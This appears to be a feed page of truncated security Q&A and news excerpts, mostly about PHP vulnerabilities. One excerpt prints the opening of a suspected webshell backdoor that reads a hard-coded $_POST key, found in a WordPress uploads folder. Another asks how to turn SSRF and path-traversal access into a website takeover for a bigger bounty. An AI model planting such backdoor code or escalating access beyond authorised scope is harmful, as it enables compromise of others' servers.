Collaborate Disseminate
TLDR:
I want to reproduce the RCE from phar file deserialization described in GitHub/advisory/97m3.
I fabricate an html file that includes a malicious svg file in its <img> tag.
Adding debug prints, I make sure I hit file_exists wit… Continue reading Phar file deserialization in PHP < 8.0
I found this code on my web server in /wp-content/uploads/2023/index.php:
$hello_dolly[]=’b8f878fc41d0fd3c’;
$hello_dolly[]=$_POST;
$hello_dolly[]=’color’;
if (isset($hello_dolly[1][$hello_dolly[0]])) {
$dolly = $hello_dolly[1][$hello_… Continue reading How dangerous is this suspicious PHP code? [closed]
I have access to companies internal files through SSRF and Path traversal both but want to leverage it further to website takeover. Thus I can increase the impact and get more bounty then what they will pay now.
I have access to files like… Continue reading I have access to companies internal files through SSRF and Path traversal both but want to leverage it further to website takeover
Who’d have thought that $30 doorbell cameras would end up being security liabilities? That’s the somewhat obvious conclusion reached by Consumer Reports after looking at some entry-level doorbell cameras available …read more Continue reading Hackaday Links: March 3, 2024
In the EasyPHP Webserver 14.1 software, there is an Absolute Path Traversal vulnerability in the dashboard index.php page.
https://www.exploit-db.com/exploits/51430
I reviewed the source code and tried to look for the vulnerable code but I… Continue reading How to prevent absolute path traversal in EasyPHP Webserver 14.1
Can a .php virus infect you from a download only even if you dont open it or execute it? And what can it do on a mobile device, is it still as dangerous as in a PC?
Continue reading About .php virus, if not open or executed can it still infect you? [duplicate]
We have a WordPress form that collects data on what marketing source (UTM) the user came from and upon submission, sends that UTM data to a 3rd party. Recently, a client asked me to have a web session to remember this session data for up t… Continue reading Can I set session time to 10 days without risking security issues?
I was going through this link https://medium.com/@renwa/bypass-samesite-cookies-default-to-lax-and-get-csrf-343ba09b9f2b to understand CSRF using samesite. Does that mean that the LAX+POST issue has been resolved by Chrome, which means tha… Continue reading Lax SameSite and POST (2 minute)
Keep an eye on Dart and TypeScript in 2024, TIOBE Software CEO Paul Jansen suggests. Continue reading TIOBE Index News (January 2024): Programming Language of 2023 Goes to C#
I want to publish my website as http secure connection but I want to keep it private so only I can view it. I want to prepare and test its security before its official release.
Is there any service providing this kind of thing or can anyon… Continue reading How to publish a php website privately so I can make tests?